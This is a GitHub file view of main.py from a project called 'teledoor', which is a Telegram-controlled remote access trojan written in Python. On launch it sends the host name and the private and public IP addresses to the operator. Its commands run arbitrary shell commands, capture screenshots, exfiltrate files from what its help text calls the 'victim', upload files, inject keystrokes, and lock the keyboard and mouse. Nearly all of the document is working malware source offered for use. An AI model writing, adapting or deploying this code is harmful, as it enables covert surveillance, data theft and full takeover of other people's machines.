-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
399 lines (314 loc) · 13 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
import requests
import threading
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext
from telegram import Update
import telegram.ext
import subprocess
import pyautogui
import datetime
import platform
import json
import logging
import os
import socket
import pynput
import time
# Set up logging
LogInFiles = True
logging.basicConfig(filename="app.log" if LogInFiles else None, level=logging.DEBUG,
format='%(asctime)s - %(levelname)s - %(message)s')
logging.info('-'*500) if LogInFiles else None
# inilazation
Token, ChatId = "", ""
try:
with open("config.json", 'r') as config_file:
config = json.load(config_file)
Token = config.get("token")
ChatId = config.get("chat_id")
debug = config.get("debug")
logging.debug("All information have been imported from json file")
except Exception as e:
logging.warning(e)
def cd(update, context):
try:
to_change_dir = update.message.text[len('/cd '):]
os.chdir(to_change_dir)
update.message.reply_text(f"Command executed successfully:")
logging.debug(f"dir has been changed to {os.getcwd()}")
except Exception as E:
update.message.reply_text(E)
logging.error(E)
def ls(update, context):
try:
list_dir = update.message.text[len("/ls "):]
os.listdir(list_dir)
update.message.reply_text(f"Command executed successfully:")
logging.debug("dir has been listed")
except Exception as E:
update.message.reply_text(E)
logging.error(E)
def system_info(context):
try:
hostname = socket.gethostname()
private_ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
response = requests.get('https://api.ipify.org?format=json')
public_ip = response.json()['ip']
SysInfo_str = (
f"System Information:\n\n"
f"Hostname: {hostname}\n"
f"Private IP Address: {private_ip}\n"
f"Public IP Address: {public_ip}\n"
f"Processor: {plat}\n"
f"System: {system}\n"
f"Machine: {machine}")
context.bot.send_message(
chat_id=ChatId, text=SysInfo_str)
except Exception as e:
logging.error(e)
def yo(update, context):
update.message.reply_text("I am still Alive!")
logging.debug("yo to user")
def take_screenshot():
# Naming file as time
current_time = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
# Take a screenshot and save it
screenshot = pyautogui.screenshot()
screenshot.save(f"{current_time}.png")
return f"{current_time}.png"
logging.debug(f"screenshot has been sent namely: {current_time}")
def start(update, context):
update.message.reply_text(
"Hello! Welcoming you to Hack505 offical's . It's Mark I")
logging.debug("A user has Started the bot")
def help(update, context):
update.message.reply_text(""""How can I help you!
/start --> just a start
/yo --> Greet's you
/screen --> Get you the screeshot
/content --> chat_idIt all about the content
/jarvis --> Extecute any command you want!
/download --> Get any file form viticm
/press --> Press's special keys
/arrow --> use the arrows key now!
/cd --> let's change the dir
/ls --> It list the file name
/blocker --> Block the keyboard and mouse
$mouse --> Get the mouse cooradanates
$type --> Type anything you want!
""")
logging.debug("i have helped a user")
def content(update, context):
update.message.reply_text(
"The project is created by hack505 www.github.com/hack505, The author is not responsible for any problem due to this program ")
logging.debug("a user now our content")
def screenshot(update, context):
try:
if update.message.text > len("/screen "):
afterTime = update.message.text(len("/screen "))
if type(afterTime) == type(int): # In seconds
time.sleep(afterTime)
else:
pass
image_path = take_screenshot()
update.message.reply_photo(photo=open(image_path, 'rb'))
except Exception as e:
update.message.reply_text(f"Error: {e}")
# os.remove(image_path)
# subprocess.run(['rm', image_path])
# print("deleted image", image_path)
logging.error(e)
def admin(update, context):
update.message.reply_text(
"this bot is a part of teledoor project made by hack505 offical ")
logging.debug("i am the admin")
def handle_text(update, context):
pyautogui.FAILSAFE = False
try:
user_text = update.message.text
if user_text == "$mouse":
update.message.reply_text(str(pyautogui.position()))
logging.debug(f"mouse corridates: {pyautogui.position()}")
# Check if the message starts with the /type command
elif user_text.startswith('$type'):
# Extract the text after the /type command
text_to_type = user_text[len('$type'):].strip()
if text_to_type:
pyautogui.write(text_to_type)
logging.debug(f"typed: {text_to_type}")
else:
update.message.reply_text(
"Please provide text after the /type command.")
logging.debug("can type or not text is provied")
except Exception as e:
update.message.reply_text(f"Error: {e}")
logging.error(e)
def run_command(update, context):
# Get the command from the user's message
def excute_command(command):
try:
# Execute the command using subprocess
result = subprocess.check_output(command, shell=True, text=True)
update.message.reply_text(
f"The Command '{command}' executed successfully:\n{result}")
logging.debug(f"command: {command}")
except subprocess.CalledProcessError as e:
update.message.reply_text(f"Error executing command:\n{e}")
logging.error(f"Error executing command:\n{e}")
command = update.message.text[len('/jarvis '):]
thread = threading.Thread(target=excute_command, args=(command,))
thread.start()
def blocker(update, context):
# Get the required blocking time for user's message
timing = float(update.message.text.split('/blocker ')[1])
# print(f"blocking keyboard and mouse of {timing} minutes")
try:
# Disable mouse and keyboard events
mouse_listener = pynput.mouse.Listener(suppress=True)
mouse_listener.start()
keyboard_listener = pynput.keyboard.Listener(suppress=True)
keyboard_listener.start()
# sleep time for user to block
time.sleep(timing * 60)
# Enable mouse and keyboard events
mouse_listener.stop()
keyboard_listener.stop()
update.message.reply_text(f"sucessful blocked for {timing} mintues")
except Exception as e:
update.message.reply_text(f"Error while blocking: \n{e}")
def download_file_unpluged(update, context):
try:
# Get the file ID from the message
file_id = update.message.document.file_id
file_name = update.message.document.file_name
# Get information about the file
file_info = context.bot.get_file(file_id)
file_name = context.bot.get_file(file_name)
# Download the file
file_path = file_info.download(file_name=file_name)
update.message.reply_text(
f"File downloaded successfully. Path: {file_path} file name: {file_name}")
logging.debug(
f"File downloaded successfully. Path: {file_path} file name: {file_name}")
except Exception as e:
logging.error(e)
def download_file(update, context):
try:
# Get the file ID from the message
file_id = update.message.document.file_id
# Get information about the file using its ID
file_info = context.bot.get_file(file_id)
# Extract original filename
original_file_name = file_info.file_path.split('/')[-1]
# Download the file with the original filename
downloaded_file = file_info.download(custom_path=original_file_name)
# Reply to the user with the download path and file name
update.message.reply_text(
f"File '{original_file_name}' downloaded successfully.")
logging.debug(
f"File '{original_file_name}' downloaded successfully.")
except Exception as e:
error_message = f"Error occurred while downloading file: {e}"
update.message.reply_text(error_message)
logging.error(error_message, exc_info=True)
def press_key(update, context):
try:
# Extract the keyour_context_variabley combination after the /presskey command
key_combination = update.message.text[len('/press '):]
if key_combination:
key_combination = key_combination.split()
pyautogui.hotkey(*key_combination)
logging.debug(f"key to press: {key_combination}")
else:
update.message.reply_text(
"Please provide a key combination after the /press command.")
except Exception as e:
update.message.reply_text(f"Error: {e}")
logging.error(e)
def arrow_key(update, context):
try:
# Extract the arrow key command
arrow_command = update.message.text[len('/arrow '):]
# Map arrow commands to corresponding keys
arrow_keys = {
'up': 'up',
'down': 'down',
'left': 'left',
'right': 'right',
}
# Check if the arrow command is valid
if arrow_command in arrow_keys:
pyautogui.hotkey(arrow_keys[arrow_command])
else:
update.message.reply_text("Invalid arrow key command.")
logging.debug("Invalid arrow key command.")
except Exception as e:
update.message.reply_text(f"Error: {e}")
logging.error(e)
def download_requested_file(update: Update, context: CallbackContext) -> None:
upload_folder = os.getcwd()
try:
# Extract the file name from the command
file_name = update.message.text[len('/download '):].strip()
# Check if the requested file exists
file_path = os.path.join(upload_folder, file_name)
if os.path.exists(file_path):
# Send the requested file to the user who sent the command
update.message.reply_document(document=open(file_path, 'rb'))
logging.debug(
f"file as been sent namely: {file_name}, in path: {file_path}")
else:
update.message.reply_text(f"File '{file_name}' not found.")
logging.debug(f"File '{file_name}' not found.")
except Exception as e:
update.message.reply_text(f"Error: {e}")
logging.error(f"Error: {e}")
def edit_message(update, context):
try:
new_message_text = "This message has been edited."
chat_id = update.message.chat_id
# Send a new message
sent_message = context.bot.send_message(
chat_id=chat_id, text=new_message_text)
# Edit the new message
context.bot.edit_message_text(
chat_id=chat_id, message_id=sent_message.message_id, text="Okay")
update.message.reply_text("Message edited successfully!")
except Exception as e:
update.message.reply_text(f"Error: {e}")
def disturb(update, context):
try:
argument = update.message.text[len("/disturb "):]
if argument:
arguments = argument.split()
update.message.reply_text(arguments)
except Exception as e:
update.message.reply_text(f"Error: {e}")
# Main handlers
updater = telegram.ext.Updater(Token, use_context=True)
disp = updater.dispatcher
disp.add_handler(telegram.ext.CommandHandler('start', start))
disp.add_handler(telegram.ext.CommandHandler("help", help))
disp.add_handler(telegram.ext.CommandHandler("content", content))
# Add the new command handler
disp.add_handler(telegram.ext.CommandHandler("screen", screenshot))
disp.add_handler(telegram.ext.CommandHandler('jarvis', run_command))
disp.add_handler(telegram.ext.MessageHandler(
telegram.ext.Filters.document, download_file))
disp.add_handler(telegram.ext.CommandHandler('yo', yo))
disp.add_handler(telegram.ext.CommandHandler('press', press_key))
disp.add_handler(telegram.ext.MessageHandler(
telegram.ext.Filters.regex("arrow"), arrow_key))
# disp.add_handler(telegram.ext.CommandHandler("sys", system_info_on_request))
disp.add_handler(CommandHandler("download", download_requested_file))
disp.add_handler(CommandHandler("cd", cd))
disp.add_handler(CommandHandler("ls", ls))
disp.add_handler(CommandHandler("blocker", blocker))
disp.add_handler(CommandHandler("disturb", disturb))
disp.add_handler(telegram.ext.MessageHandler(
telegram.ext.Filters.text, handle_text))
updater.job_queue.run_once(system_info, 0)
updater.start_polling()
updater.idle()